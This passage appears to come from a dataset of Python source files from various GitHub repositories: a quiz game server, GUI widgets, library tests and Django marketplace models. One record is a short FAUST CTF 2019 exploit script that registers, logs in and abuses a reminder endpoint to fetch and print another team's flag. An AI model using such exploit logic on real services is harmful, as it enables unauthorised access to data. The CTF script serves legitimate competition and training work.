\" , questions)\r\n random.shuffle(questions) # shuffle serve per mischiare l'ordine delle domande.\r\n print(\"questions dopo lo shuffle: \" , questions)\r\n domande_da_inviare = questions[0] + questions[1] + questions[2]\r\n cliente_connection.send(domande_da_inviare.encode(FORMAT))\r\n return evaluate_question(cliente_connection)\r\n\r\n# Si occupa di valutare la domanda scelta dall'utente, se \u00e8 corretta o errata.\r\ndef evaluate_question(utente_connection):\r\n evaluate = utente_connection.recv(BUFSIZE).decode(FORMAT) # domanda scelta dall'utente\r\n print(\"evaluate: \" + str(evaluate))\r\n print(\"domande: \" + str(domande.keys()))\r\n print(\"evaluate in domande.keys(): \" + str(evaluate in domande.keys()))\r\n if evaluate in domande_errate: # se la domanda scelta si trova nella lista domande_errate allora elimino il giocatore.\r\n print(\"Domanda errata!\")\r\n utente_connection.send(\"Domanda errata\".encode(FORMAT))\r\n return False\r\n elif(evaluate in domande.keys()): # se la domande scelta dall'utente si trova nel dizionario domande allora proseguo col gioco.\r\n print(\"Domanda corretta!\")\r\n utente_connection.send(\"Domanda corretta\".encode(FORMAT))\r\n return evaluate\r\n else:\r\n print(\"N\u00e8 domanda corretta n\u00e8 domanda errata!\")\r\n return evaluate\r\n\r\n# Si occupa di inviare all'utente le possibili risposte alla domanda da lui/lei scelta.\r\ndef send_question(client):#, quesito_scelto):\r\n # resetto le variabili a stringhe vuote.\r\n domanda_da_inviare = \"\"\r\n risposta1 = \"\"\r\n risposta2 = \"\"\r\n quesito_scelto = pick_questions(client)\r\n print(\"quesito_scelto: \" + str(quesito_scelto))\r\n if(quesito_scelto == False):\r\n print(\"Domanda errata!\")\r\n return False \r\n elif(quesito_scelto == \"Stop\"):\r\n return quesito_scelto # \"Stop\"\r\n elif(quesito_scelto == \"QUIT\"):\r\n return False\r\n else:\r\n print(\"Domanda corretta!\")\r\n print(\"Proseguendo con la domanda e le possibili risposte da inviare..\")\r\n\r\n # aggiungo \"Domanda: \" alla stringa con la domanda, perch\u00e8 cos\u00ec il client capisce che \u00e8 una domanda.\r\n domanda_da_inviare = \"Domanda: \" + quesito_scelto\r\n print(\"send_question(), domanda_da_inviare: \" + domanda_da_inviare)\r\n\r\n # metto le due possibili risposte in delle variabili.\r\n possibile_risposta = domande[quesito_scelto]\r\n risposta1 = \"Risposta1: \" + possibile_risposta[0] + \"\\n\"\r\n risposta2 = \"Risposta2: \" + possibile_risposta[1] + \"\\n\"\r\n\r\n print(\"send_question(), risposta1: \" + risposta1)\r\n print(\"send_question(), risposta2: \" + risposta2)\r\n\r\n # metto assieme la domanda e le possibili risposte e le invio all'utente.\r\n messaggio = domanda_da_inviare + risposta1 + risposta2\r\n print(\"messaggio: \" + messaggio)\r\n client.send(messaggio.encode(FORMAT))\r\n\r\n# Funzione principale che si occupa di inviare all'utente domande\r\ndef gestisci_utente(utente_connection):\r\n has_sent_question = send_question(utente_connection)\r\n if has_sent_question == False:\r\n print(\"Domanda errata eliminazione del player..\")\r\n close_connection(utente_connection)\r\n elif has_sent_question == \"Stop\":\r\n msg = \"Stop\"\r\n else:\r\n msg = utente_connection.recv(BUFSIZE).decode(FORMAT)\r\n if(str(msg).startswith(\"Ricevuto\")): # continuo ad inviare altre domande.\r\n gestisci_utente(utente_connection)\r\n elif(str(msg).startswith(\"Stop\")): # smetto di inviare domande e passo al conteggio dei risultati.\r\n print(\"Tempo di gioco finito!!!\")\r\n print(\"Assegnamento vincitori in base al loro punteggio\")\r\n\r\n evaluate_winner(utente_connection)\r\n print(\"threads: \" + str(threads))\r\n\r\n send_leaderboard(utente_connection) # questo o lo metto qui o dentro game_over\r\n game_over(utente_connection)\r\n\r\n# Questa funzione controlla se i giocatori sono ancora online o sono usciti e restarta il gioco.\r\ndef game_over(utente_connection):\r\n\r\n print(\"threads prima check_client: \" + str(threads))\r\n check_client(utente_connection)\r\n \r\n print(\"threads dopo check_client: \" + str(threads))\r\n reset(utente_connection)\r\n\r\n# Questa funzione riceve i punteggi dai giocatori e decreta il vincitore/perdente o il pareggio.\r\ndef evaluate_winner(utente_connection):\r\n global results_sorted\r\n print(\"len(risultati): %d , len(clienti): %d\" % (len(risultati), len(clienti)))\r\n\r\n cond.acquire()\r\n string_punteggio = utente_connection.recv(BUFSIZE).decode(FORMAT)\r\n print(\"%s ha appena inviato un messaggio: \" , str(clienti[utente_connection])) # cos\u00ec ottengo il nome di chi ha inviato il messaggio.\r\n results.update({utente_connection : int(string_punteggio)})\r\n print(\"string: \" + str(string_punteggio))\r\n risultati.append(int(string_punteggio))\r\n print(\"risultati: \" , risultati)\r\n\r\n # Aspetta che tutti i clients abbiano inviato i loro risultati prima di proseguire.\r\n if(len(risultati) < len(clienti)):\r\n print(\"Waiting for all results..\")\r\n cond.wait()\r\n else:\r\n print(\"Releasing.. got all the results..\")\r\n cond.notifyAll()\r\n cond.release()\r\n\r\n risultati.sort(reverse=True) # reverse=True serve per ordinare in modo decrescente, grande a piccolo\r\n print(\"risultati.sort(reverse=True): \" , risultati)\r\n print(\"results[socket : punteggio]: \" , results)\r\n results_sorted = dict(sorted(results.items(), key=lambda item: item[1], reverse=True)) # reverse=True per ordinarlo \r\n print(\"results_sorted: \" , results_sorted)\r\n\r\n # Ora devo inviare al vincitore \"You Won!\" ed agli altri \"You Lost\" oppure \"Pareggio (Draw/Stalemate)\"\r\n # draw controlla se i risultati dei giocatori sono tutti uguali e se c'\u00e8 almeno pi\u00f9 di un giocatore \r\n # (altrimenti con un singolo giocatore il pareggio non avrebbe senso)\r\n draw = len(list(set(list(results_sorted.values())))) == 1 and len(results_sorted) > 1\r\n\r\n if(draw == True):\r\n utente_connection.send(\"Pareggio\".encode(FORMAT))\r\n elif(utente_connection == list(results_sorted)[0]):\r\n utente_connection.send(\"You won!\".encode(FORMAT))\r\n print(\"l'utente di indirizzo %s ha vinto \" % str(indirizzi[utente_connection]))\r\n print(\"%s ha vinto!: \" % str(utente_connection))\r\n else:\r\n utente_connection.send(\"You Lost\".encode(FORMAT))\r\n print(\"%s ha perso: \" % str(utente_connection))\r\n\r\n print(\"Messaggi inviati, fuori dal loop.\")\r\n\r\n# Questa funziona aspetta di ricevere un messaggio dal client, se il messaggio \u00e8 \"RESTART\" prosegue col restart\r\n# altrimenti se il messaggio \u00e8 \"QUIT\" cancella il giocatore dalle liste in cui era presente.\r\ndef check_client(client_connection):\r\n print(\"trying to receive data from player..\")\r\n data = client_connection.recv(BUFSIZE).decode(FORMAT)\r\n print(\"data: \" + str(data))\r\n\r\n if str(data).startswith(\"RESTART\"):\r\n print(\"Il giocatore %s \u00e8 ancora online!\" % str(client_connection))\r\n return True\r\n elif str(data).startswith(\"QUIT\"):\r\n print(\"L'utente %s si \u00e8 disconnesso, rimozione dell'utente dalla lista. \" % \r\n (str(client_connection)))\r\n close_connection(client_connection)\r\n\r\n# Questa funzione azzera alcune variabili e liste per poter far ripartire il gioco.\r\ndef reset(utente):\r\n print(\"reset function threads: \" + str(threads))\r\n results.clear()\r\n risultati.clear()\r\n print(\"il dict results %s e la lista risultati %s sono stati puliti (svuotati). \" % (str(results),str(risultati)))\r\n\r\n # invio al client RESTART per indicare possiamo riniziare!\r\n utente.send(\"RESTART\".encode(FORMAT))\r\n numero_risposte_giocatori.clear()\r\n users_leaderboard.clear()\r\n gestisci_utente(utente)\r\n\r\n# Questa funzione cancella l'utente dalle liste in cui era presente, chiude la connessione e interrompe il server\r\n# se non ci sono pi\u00f9 utenti rimasti.\r\ndef close_connection(utente_connection): \r\n print(\"Old clients: \" + str(clienti))\r\n print(\"Old addresses: \" + str(indirizzi))\r\n del clienti[utente_connection]\r\n del indirizzi[utente_connection]\r\n print(\"Updated clients: \" + str(clienti))\r\n print(\"Updated addresses: \" + str(indirizzi))\r\n utente_connection.close()\r\n # per chiudere la thread\r\n #sys.exit(0)\r\n # se non ci sono pi\u00f9 utenti esce.\r\n if(len(clienti) <= 0):\r\n print(\"Non ci sono pi\u00e0 clients..\")\r\n print(\"Disconnessione del server..\")\r\n #sys.exit(0)\r\n SERVER.close()\r\n else:\r\n # la thread va comunque chiusa.\r\n sys.exit(0)\r\n\r\n# Questa funzione riceve dagli utenti le loro statistiche (risposte corrette/sbagliate) e riordina i\r\n# loro punteggi e crea la classifica e la invia agli utenti.\r\ndef send_leaderboard(utente_connection):\r\n print(\"threads in send_leaderboard: \" + str(threads))\r\n\r\n giocatori = [] # lista di socket perch\u00e8 results ha il socket\r\n punteggi = []\r\n # clienti invece ha clienti[socket] = nome\r\n print(\"results in leaderboard: \" + str(results))\r\n # Questo serve per aggiungere i giocatori dal dizionario results.\r\n for i in range(len(results_sorted.keys())):\r\n giocatori.append(list(results_sorted.keys())[i])\r\n print(\"giocatori: \" + str(giocatori))\r\n\r\n for i in range(len(results_sorted.values())):\r\n punteggi.append(list(results_sorted.values())[i])\r\n print(\"punteggi: \" + str(punteggi))\r\n\r\n # Questo serve per sostituire a giocatori, che inizialmente aveva i sockets, i nomi dei players.\r\n # perch\u00e8 clienti[socket] = nome.\r\n for i in range(len(giocatori)):\r\n\t print(\"giocatori[%d]: %s\" % (i,giocatori[i]))\r\n\t print(\"clienti[%s]: %s\" % (giocatori[i],clienti[giocatori[i]]))\r\n\t nome = clienti[giocatori[i]]\r\n\t giocatori[i] = nome\r\n\t print(\"giocatori[%d] %s\" % (i, giocatori[i]))\r\n\r\n # Cos\u00ec ho 2 liste, quella con i nomi dei giocatori e quella con i loro punteggi\r\n # Giocatore[0] il suo punteggio \u00e8 punteggi[0] e cos\u00ec via..\r\n print(\"giocatori: \" + str(giocatori))\r\n print(\"punteggi: \" + str(punteggi))\r\n\r\n lista_giocatori_punteggi = []\r\n\r\n for i in range(len(giocatori)):\r\n lista_giocatori_punteggi.append(giocatori[i] + ' : ' + str(punteggi[i]))\r\n\r\n # creo una stringa dalla lista \"lista_giocatori_punteggi\"\r\n messaggio = ' \\n '.join(map(str, lista_giocatori_punteggi)) + ' \\n' # nuova stringa = giocatore : punteggio \\n giocatore : punteggio \\n\r\n print(\"messaggio con giocatori e punteggi: \" + str(messaggio))\r\n\r\n utente_connection.send(messaggio.encode(FORMAT))\r\n\r\n # ------------------- RISPOSTE CORRETTE E SBAGLIATE PER OGNI GIOCATORE --------------------------\r\n\r\n cond_leaderboard.acquire()\r\n msg = utente_connection.recv(BUFSIZE).decode(FORMAT)\r\n numero_risposte_giocatori.append(msg)\r\n print(\"numero_risposte_giocatori: \" + str(numero_risposte_giocatori))\r\n users_leaderboard.append(str(clienti[utente_connection]))\r\n print(\"users_leaderboard: \" + str(users_leaderboard))\r\n\r\n # Qui devo aspettare che tutti i clients abbiano inviato le loro statistiche prima di proseguire\r\n # con la creazione della classifica.\r\n if(len(numero_risposte_giocatori) < len(clienti)):\r\n print(\"Waiting for all players to send stats..\")\r\n cond_leaderboard.wait()\r\n else:\r\n cond_leaderboard.notifyAll()\r\n cond_leaderboard.release()\r\n\r\n # creo una stringa dalla lista \"numero_risposte_giocatori\"\r\n risposte_corrette_e_sbagliate = ''.join(map(str, numero_risposte_giocatori))\r\n\r\n string = risposte_corrette_e_sbagliate.split('\\n')\r\n string.remove(string[-1]) # rimuovo l'ultimo carattere che \u00e8 un ''\r\n print(\"string: \" + str(string))\r\n\r\n # list[start:end:step]\r\n\r\n messaggio_finale = \"\"\r\n\r\n # metto assieme in una singola stringa il nome del giocatore e le sue risposte date corrette e sbagliate.\r\n for i in range(len(string)):\r\n if(i % 2) == 0:\r\n if i == 0:\r\n messaggio_finale += str(users_leaderboard[i]) + \"\\n \" + str('\\n '.join(map(str, string[i:i+2]))) + \"\\n\"\r\n else:\r\n # serve la conversione nella divisione, altrimenti verrebbe considerato un float.\r\n messaggio_finale += str(users_leaderboard[int(i/2)]) + \"\\n \" + str('\\n '.join(map(str, string[i:i+2]))) + \"\\n\"\r\n\r\n print(\"messaggio_finale: \" + str(messaggio_finale))\r\n utente_connection.send(str(messaggio_finale).encode(FORMAT))\r\n\r\n punteggi.clear() # \u00e8 locale, teoricamente non servirebbe il .clear()\r\n lista_giocatori_punteggi.clear() # anche questa \u00e8 locale alla funzione.\r\n\r\n# Questa funzione accetta connessioni da utenti.\r\ndef accept_connections():\r\n while True:\r\n utente, addr = SERVER.accept()\r\n print(\"Connessione da %s:%s \" % addr)\r\n msg = \"Benvenuto\"\r\n utente.send(msg.encode(FORMAT))\r\n utente.recv(BUFSIZE).decode(FORMAT)\r\n indirizzi[utente] = addr\r\n print(\"indirizzi[utente]: \" , indirizzi[utente])\r\n nome = utente.recv(BUFSIZE).decode(FORMAT) # ricevo il nome dell'utente.\r\n clienti[utente] = nome\r\n utente.send(pick_role(nome).encode(FORMAT)) # Invio il ruolo.\r\n print(\"clienti[utente]: \" , clienti[utente])\r\n GESTISCI_UTENTE_THREAD = Thread(target=gestisci_utente, args=(utente,))\r\n threads.append(GESTISCI_UTENTE_THREAD)\r\n print(\"threads: \" + str(threads))\r\n GESTISCI_UTENTE_THREAD.start()\r\n\r\nif __name__ == '__main__':\r\n SERVER.listen(5)\r\n print(\"Aspettando connessioni..\")\r\n ACCETTA = Thread(target=accept_connections)\r\n ACCETTA.start()\r\n ACCETTA.join() \r\n SERVER.close()\r\n print(\"Disconnessione dal server..\")", "source": "LucaR01/Progetto-di-Programmazione-di-Reti", "license": "MIT"} {"text": "from tkinter import ttk\nimport tkinter as tk\nfrom tkinter.constants import END, EW, NS, VERTICAL\n# import func_produtos as funcP\nimport func.produtos as funcP\n\n\nclass Fr_treeProduto(ttk.Frame):\n def __init__(self, parent, con):\n super().__init__(parent)\n self.con = con\n \n self.fr_pesProduto = ttk.Frame(self)\n self.lbfr = ttk.LabelFrame(self, text='Pesquisar')\n \n\n self.etd_pesquisar = ttk.Entry(self.lbfr)\n self.etd_pesquisar.grid(row=0, column=1, sticky=EW, padx=5, pady=2)\n \n\n \n # Treeview produto ------------------------------------\n # definindo colunas\n self.fr_tree = ttk.Frame(self)\n self.colunas = ['cod', 'nome', 'marca', 'qtd']\n self.tree_produto = ttk.Treeview(self.fr_tree, columns=self.colunas, show='headings' )\n\n # definindo heading\n self.tree_produto.heading('cod', text='ID')\n self.tree_produto.heading('nome', text='Nome')\n self.tree_produto.heading('marca', text='Marca')\n self.tree_produto.heading('qtd', text='Quantidade')\n\n # definindo tamanho da coluna\n self.tree_produto.column('cod', width=30)\n self.tree_produto.column('nome', width=180)\n self.tree_produto.column('marca', width=150)\n self.tree_produto.column('qtd', width=100)\n\n self.scroll = ttk.Scrollbar(self.fr_tree, orient=VERTICAL, command=self.tree_produto.yview)\n \n self.tree_produto.grid(row=0, column=0, columnspan=1)\n self.scroll.grid(row=0, column=1, rowspan=1, sticky=NS)\n\n # colocando frames principais\n self.lbfr.grid(row=0, column=0, sticky=EW, padx=5, pady=2)\n #tree + scroll\n self.fr_tree.grid(row=1, column=0, padx=5, pady=2)\n \n\n self.fr_pesProduto.grid(row=0, column=0)\n\n \n self.etd_pesquisar.bind('', self.digitar_evento)\n self.tree_produto.bind('<>', self.item_selected)\n self.mostrar_tree()\n \n \n\n def editar_dados(self) -> None:\n # print(self.codigo)\n if self.codigo != '':\n\n\n codigo = self.codigo\n\n qtd =self.etd_qtd.get()\n preco =self.etd_preco.get()\n \n # add dados =-=-=-=-=-=-=-=-=-=-=-=-=\n # print('codigo:', codigo)\n # print('nome:', nome)\n # print('marca:', marca)\n # print('qtd:', qtd)\n # print('preco:', preco)\n\n\n self.deletar_tree()\n self.mostrar_tree()\n \n\n def inserir_dados(self):\n # pegando dados\n dados = funcP.pesquisar(self.codigo)\n # print(dados)\n dados = dados[0]\n\n # mandar dados para o pai \n self.con.inserir_produto(dados)\n \n\n def item_selected(self, event):\n for selected_item in self.tree_produto.selection():\n item = self.tree_produto.item(selected_item)\n record = item['values']\n\n # print(record)\n \n self.codigo = record[0]\n self.inserir_dados()\n \n def digitar_evento(self, event):\n variavel = event.widget.get()\n # print(variavel)\n # deletar tree view\n self.deletar_tree()\n\n # mostrar treeview com a palavra digitada\n self.mostrar_tree(palavras=variavel)\n \n def deletar_tree(self):\n # deletar toda a tree view\n self.tree_produto.delete(*self.tree_produto.get_children()) \n def mostrar_tree(self, palavras=''):\n\n dados = funcP.get_()\n # print(dados)\n # print('\\n')\n\n dadosTree = list()\n for d in dados:\n dadosTree.append(d[:4])\n \n # print('tree', dadosTree)\n \n # print(dadosTree)\n \n if palavras != '':\n for d in dadosTree:\n # print(d)\n if palavras.lower() in d[1].lower():\n self.tree_produto.insert('', END, values=d)\n else:\n for d in dadosTree:\n self.tree_produto.insert('', END, values=d)\n\nif __name__ == '__main__':\n root = tk.Tk()\n frame = Fr_treeProduto(root, root)\n frame.pack()\n\n root.geometry('500x500')\n\n root.mainloop()", "source": "jonasht/Python", "license": "MIT"} {"text": "\"\"\"abcd\"\"\"\n\nimport logging\nimport sys\n\n\nfrom checker.two_factor_apache.lib import Session\n\n\ndef main():\n logging.basicConfig(level=logging.DEBUG)\n\n sess = Session(logging, ip)\n sess.register()\n sess.login()\n\n r = sess.session.get(sess.make_url('/public/reminder', flag_id))\n r.raise_for_status()\n r = sess.session.get(sess.make_url(r.text, flag_id))\n r.raise_for_status()\n print(r.text)\n\n\nif __name__ == '__main__':\n ip, flag_id = tuple(sys.argv[1:])\n main()\n", "source": "fausecteam/faustctf-2019-two-factor-apache", "license": "0BSD"} {"text": "# https://www.codewars.com/kata/50654ddff44f800200000004\n\ndef multiply(a, b):\n return a * b\n\n", "source": "hiljusti/codewars-solutions", "license": "WTFPL"} {"text": "from PyQt5 import QtWidgets\nfrom PyQt5 import QtCore\nfrom PyQt5 import QtGui\n\nimport sys\n\nfrom Back_End.Logic.Saving_Logic import Datahandler\n\n\nclass LoaderButton(QtWidgets.QPushButton):\n\n # Init avec la sauvegarde du nom de sauvegarde , Impossible en utilisant des Lambda dans la LoaderWindow\n def __init__(self, filename, datahandler, parent=None):\n super().__init__(parent)\n self.datahandler = datahandler\n self.filename = filename\n self.button = QtWidgets.QPushButton(\n self.filename.replace(\".pkl\", \"\"), self)\n self.button.pressed.connect(self.loadKakuro)\n self.button.setStyleSheet(\n \"border-style: solid; background-color: rgba(34,34,34,255); border-color:black ;background: transparent;\")\n\n def loadKakuro(self):\n # Va Override le kakuroSolver de la MainWindow\n self.nativeParentWidget().solverKakuro = self.datahandler.loadKakuroFromFile(self.filename)\n", "source": "Myrani/IA_Kakuro", "license": "Unlicense"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport pytest\nimport numpy as np\nfrom ._tsrex import (\n TsrEx,\n index,\n indices,\n tensor\n)\n\n\ndef test_index():\n\n i = index()\n assert isinstance(i, TsrEx)\n\n\ndef test_indices():\n\n for i in indices(2):\n assert isinstance(i, TsrEx)\n\n for i in indices('i, j'):\n assert isinstance(i, TsrEx)\n\n with pytest.raises(RuntimeError):\n indices(-1)\n\n with pytest.raises(RuntimeError):\n indices('123')\n\n\ndef test_tensor():\n\n tensor(1),\n tensor(1, 2),\n tensor('t'),\n tensor('t', 1),\n tensor('t', 1, 2),\n tensor('t', np.ones(3)),\n tensor('t', np.ones((3, 3))),\n tensor(np.ones(3)),\n tensor(np.ones((3, 3))),\n\n\ndef test_tensor_exception():\n\n with pytest.raises(RuntimeError):\n tensor(-1, -2)\n\n\ndef test_property():\n\n t = tensor(3, 3)\n hasattr(t, 'shape')\n hasattr(t, 'ndim')\n hasattr(t, 'live_indices')\n hasattr(t, 'einspec')\n\n\ndef test_asciitree():\n a = tensor('a', 2, 3)\n assert hasattr(a, 'asciitree')\n assert 'a' in str(a.asciitree)\n assert 'None' in str(a.asciitree('null', hide_empty=False))\n assert 'None' in a.asciitree('null', stdout=False, hide_empty=False)\n assert 'None' not in a.asciitree('null', stdout=False, hide_empty=True)\n\n\ndef test_html_repr():\n a = tensor('a', 2, 3)\n assert r'\\boldsymbol{a}' in a._repr_html_()\n\n\ndef test_binary_operators():\n\n a = tensor('a', 3, 4)\n b = tensor('b', 4, 5)\n c = tensor('c', 3, 4)\n i = index('i')\n j = index('j')\n\n def _check(tsrex):\n assert isinstance(tsrex, TsrEx)\n\n _check(~i)\n _check(*i)\n _check(-a)\n _check(a @ b)\n _check(a + c)\n _check(a - c)\n _check(a * c)\n _check(a ** c)\n _check(a / c)\n _check(a + 1)\n _check(a - 1)\n _check(a * 1)\n _check(a ** 1)\n _check(a / 1)\n _check(1 + a)\n _check(1 - a)\n _check(1 * a)\n _check(1 ** a)\n _check(1 / a)\n _check(a & b)\n _check(a & 2)\n _check(2 & a)\n _check(a[i, j])\n _check(a[i, j] >> [j, i])\n\n _check(a + c.root)\n _check(a.root + c)\n _check(a @ b.root)\n _check(a.root @ b)\n\n with pytest.raises(TypeError):\n a + None\n\n with pytest.raises(TypeError):\n a + 'xyz'\n", "source": "campsd/FunFact", "license": "BSD-3-Clause-LBNL"} {"text": "\"\"\"\nCreated on 3 May 2017\n\n@author: jdrumgoole\n\n\"\"\"\n\nimport unittest\n\nfrom nesteddict import NestedDict\n\n\nclass TestNestedDict(unittest.TestCase):\n\n def test_init(self):\n x = NestedDict()\n x['a'] = 1\n self.assertEqual(x['a'], 1)\n\n x = NestedDict({'a': 1, 'b': 2})\n self.assertEqual(x['a'], 1)\n self.assertEqual(x['b'], 2)\n\n x = NestedDict([(\"a\", 1), (\"b\", 2)])\n self.assertEqual(x['a'], 1)\n self.assertEqual(x['b'], 2)\n\n x = NestedDict({(\"a\", 1), (\"b\", 2)})\n self.assertEqual(x['a'], 1)\n self.assertEqual(x['b'], 2)\n\n x = NestedDict({'a.b.c': 1, 'x.y.z': 2})\n self.assertEqual(x['a.b.c'], 1)\n self.assertEqual(x['x.y.z'], 2)\n\n self.assertRaises(ValueError, NestedDict, {7: 1, 'b': 2})\n self.assertRaises(ValueError, NestedDict, {(7, 1), ('b', 2)})\n self.assertRaises(ValueError, NestedDict, [(7, 1), ('b', 2)])\n\n x = NestedDict({'a.b.c': 1, 'x.y.z': 2}, m=5, n=6)\n self.assertEqual(x['a.b.c'], 1)\n self.assertEqual(x['x.y.z'], 2)\n self.assertEqual(x['m'], 5)\n self.assertEqual(x['n'], 6)\n\n def test_nesteddict(self):\n x = NestedDict([(\"a\", 1), (\"b\", 2), (\"a.b.c\", 3)])\n self.assertTrue(\"a\" in x)\n self.assertTrue(\"a.b\" in x)\n self.assertTrue(\"a.b.c\" in x)\n self.assertEqual(3, x['a.b.c'])\n self.assertNotEqual(1, x['a'])\n\n def test_in(self):\n x = NestedDict({\"a\": {\"b\": 1}})\n self.assertTrue(\"a\" in x)\n self.assertTrue(\"a.b\" in x)\n self.assertTrue(\"a\" in x)\n self.assertFalse(\"z\" in x)\n self.assertFalse(\"a.z\" in x)\n\n def test_getitem(self):\n x = NestedDict({\"a\": {\"b\": 1}})\n self.assertEqual(x['a'], {\"b\": 1})\n self.assertEqual(x['a.b'], 1)\n x = NestedDict({'a': {'b': [1, 2, 3]}})\n self.assertEqual(x['a.b'], [1, 2, 3])\n self.assertRaises(KeyError, x.__getitem__, \"w.z\")\n\n def test_setitem(self):\n x = NestedDict({\"a\": {\"b\": 1}})\n x['c'] = 2\n self.assertEqual(x['c'], 2)\n x['a.b'] = 3\n self.assertEqual(x['a.b'], 3)\n x['a.b.c'] = 6\n x['a.b'] = {'c': 6}\n\n def test_delitem(self):\n x = NestedDict({\"a\": {\"b\": 1}})\n self.assertEqual(x.get('a'), {\"b\": 1})\n del x['a.b']\n self.assertTrue('a' in x)\n self.assertFalse('a.b' in x)\n x = NestedDict({\"a\": {\"b\": 1}})\n del x['a']\n self.assertFalse('a.b' in x)\n self.assertFalse('a' in x)\n\n def test_get(self):\n x = NestedDict({\"a\": {\"b\": 1}})\n self.assertEqual(x.get('a'), {\"b\": 1})\n self.assertEqual(x.get('z'), None)\n self.assertEqual(x.get('z', 20), 20)\n self.assertEqual(x.get('a.b'), 1)\n\n def test_has_key(self):\n x = NestedDict({\"a\": {\"b\": 1}})\n self.assertTrue(x.has_key('a'))\n self.assertTrue(x.has_key('a.b'))\n self.assertFalse(x.has_key('z'))\n\n def test_pop(self):\n x = NestedDict({\"a\": {\"b\": 1}})\n self.assertEqual(x.pop('a.b'), 1)\n self.assertFalse(\"a.b\" in x)\n self.assertTrue('a' in x)\n self.assertEqual(x.pop('x.z', 20), 20)\n\n def test_popitem(self):\n x = NestedDict({\"a\": {\"b\": 1}})\n self.assertEqual(x.popitem('a.b'), ('a.b', 1))\n self.assertRaises(KeyError, x.popitem, \"x.y\")\n\n def test_valueerror(self):\n x=NestedDict()\n self.assertRaises(ValueError, x.__setitem__, 10, 1)\n\n def test_update(self):\n x=NestedDict({\"a\": 1, \"b\": 2})\n y=NestedDict({\"c\": 3, \"d\": 4})\n x.update(y)\n self.assertEqual(len(x), 4)\n self.assertEqual(len(y), 2)\n self.assertEqual(x['a'], 1)\n self.assertEqual(x['b'], 2)\n self.assertEqual(x['c'], 3)\n self.assertEqual(x['d'], 4)\n\n x=NestedDict({\"a\": 1, \"b\": 2})\n y=NestedDict({\"c\": 3, \"d\": 4})\n x.update(y, w=10, x=11)\n self.assertEqual(len(x), 6)\n self.assertEqual(len(y), 2)\n self.assertEqual(x['a'], 1)\n self.assertEqual(x['b'], 2)\n self.assertEqual(x['c'], 3)\n self.assertEqual(x['d'], 4)\n self.assertEqual(x['w'], 10)\n self.assertEqual(x['x'], 11)\n\nif __name__ == \"__main__\":\n #import sys;sys.argv = ['', 'Test.testName']\n unittest.main()\n", "source": "jdrumgoole/nesteddict", "license": "Apache-2.0"} {"text": "from django.db import models\nfrom django.utils import timezone\nfrom django.utils.translation import gettext_lazy as _\n\nfrom revibe.contrib.models import fields\nfrom revibe.utils import classes\n\nfrom marketplace import managers\nfrom marketplace.utils.models.good import discounted_price\n\n# -----------------------------------------------------------------------------\n\n\nclass Good(models.Model):\n\n _category_choices = (\n ('product', 'Product'),\n ('service', 'Service'),\n )\n category = models.CharField(\n max_length=100,\n choices=_category_choices,\n null=False, blank=False,\n verbose_name=_(\"category\"),\n help_text=_(\"Either a 'product' or 'service' offering\")\n )\n\n name = models.CharField(\n max_length=255,\n null=False, blank=False,\n verbose_name=_(\"name\"),\n help_text=_(\"Display name for the product or service\")\n )\n description = models.TextField(\n null=True, blank=True,\n verbose_name=_(\"description\"),\n help_text=_(\"Item description\")\n )\n\n file = models.ForeignKey(\n to='cloud_storage.file',\n on_delete=models.SET_NULL,\n related_name='goods',\n null=True, blank=True,\n verbose_name=_(\"file\"),\n help_text=_(\"Relevant file. Not required.\")\n )\n\n price = models.DecimalField(\n max_digits=11, decimal_places=2,\n null=False, blank=False,\n verbose_name=_(\"price\"),\n help_text=_(\"The price of the product or service\")\n )\n discount = fields.IntegerRangeField(\n min_value=0, max_value=100,\n null=False, blank=False, default=0,\n verbose_name=_(\"discount\"),\n help_text=_(\"The percentage discount of the good\")\n )\n\n publish_date = models.DateField(\n null=False, blank=True, default=timezone.now,\n verbose_name=_(\"publish date\"),\n help_text=_(\"Date the good will go public\")\n )\n available = models.BooleanField(\n null=False, blank=True, default=True,\n verbose_name=_(\"available\"),\n help_text=_(\"The item is currently available for sale\")\n )\n repeating = models.BooleanField(\n null=False, blank=True, default=False,\n verbose_name=_(\"repeating\"),\n help_text=_(\"The item is not limited to one purchase\")\n )\n\n seller = models.ForeignKey(\n to='content.artist',\n on_delete=models.SET_NULL,\n limit_choices_to={'platform': 'Revibe'},\n related_name=\"sale_goods\",\n null=True, blank=False,\n verbose_name=_(\"seller\"),\n help_text=_(\"Seller of the good. Must be a Revibe artist\")\n )\n\n date_created = models.DateTimeField(\n auto_now_add=True\n )\n last_changed = models.DateTimeField(\n auto_now=True\n )\n\n # objects = managers.GoodObjectsManager()\n\n @property\n def discounted_price(self):\n return discounted_price(self.price, self.discount)\n\n def __str__(self):\n return self.name\n\n def __repr__(self):\n return classes.default_repr(self)\n \n class Meta:\n verbose_name = \"good\"\n verbose_name_plural = \"goods\"\n\n\nclass Transaction(models.Model):\n\n good = models.ForeignKey(\n to='marketplace.good',\n on_delete=models.SET_NULL,\n related_name='transactions',\n null=True, blank=False,\n verbose_name=_(\"good\"),\n help_text=_(\"Marketplace item\")\n )\n\n buyer = models.ForeignKey(\n to='content.artist',\n on_delete=models.SET_NULL,\n related_name=\"transactions\",\n limit_choices_to={\"platform\": \"Revibe\"},\n null=True, blank=False,\n verbose_name=_(\"buyer\"),\n help_text=_(\"Artist who bought the good\")\n )\n\n posted_price = models.DecimalField(\n max_digits=11, decimal_places=2,\n null=False, blank=False,\n verbose_name=_(\"posted price\"),\n help_text=_(\"The listing price (including discounts) at the time of the transaction\")\n )\n sale_price = models.DecimalField(\n max_digits=11, decimal_places=2,\n null=False, blank=False,\n verbose_name=_(\"sale price\"),\n help_text=_(\"The amount actually paid\")\n )\n\n returned = models.BooleanField(\n null=False, blank=True, default=False,\n verbose_name=_(\"returned\"),\n help_text=_(\"The purchase was returned and refunded\")\n )\n\n date_created = models.DateTimeField(\n auto_now_add=True\n )\n\n def __str__(self):\n return str(self.good) if self.good else self.buyer if self.buyer else \"literally no info on this one...\"\n\n def __repr__(self):\n return classes.default_repr(self)\n \n class Meta:\n verbose_name = \"transaction\"\n verbose_name_plural = \"transactions\"\n\n", "source": "Revibe-Music/core-services", "license": "MIT"} {"text": "# -*- coding:utf-8 -*-\n# @Time: 2021/1/30 11:40\n# @Author: Zhanyi Hou\n# @Email: 1295752786@qq.com\n# @File: autocomp.py\nimport re\nimport time\nimport logging\nfrom qtpy.QtCore import QThread, Signal\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\n\n\nclass AutoCompThread(QThread):\n '''\n 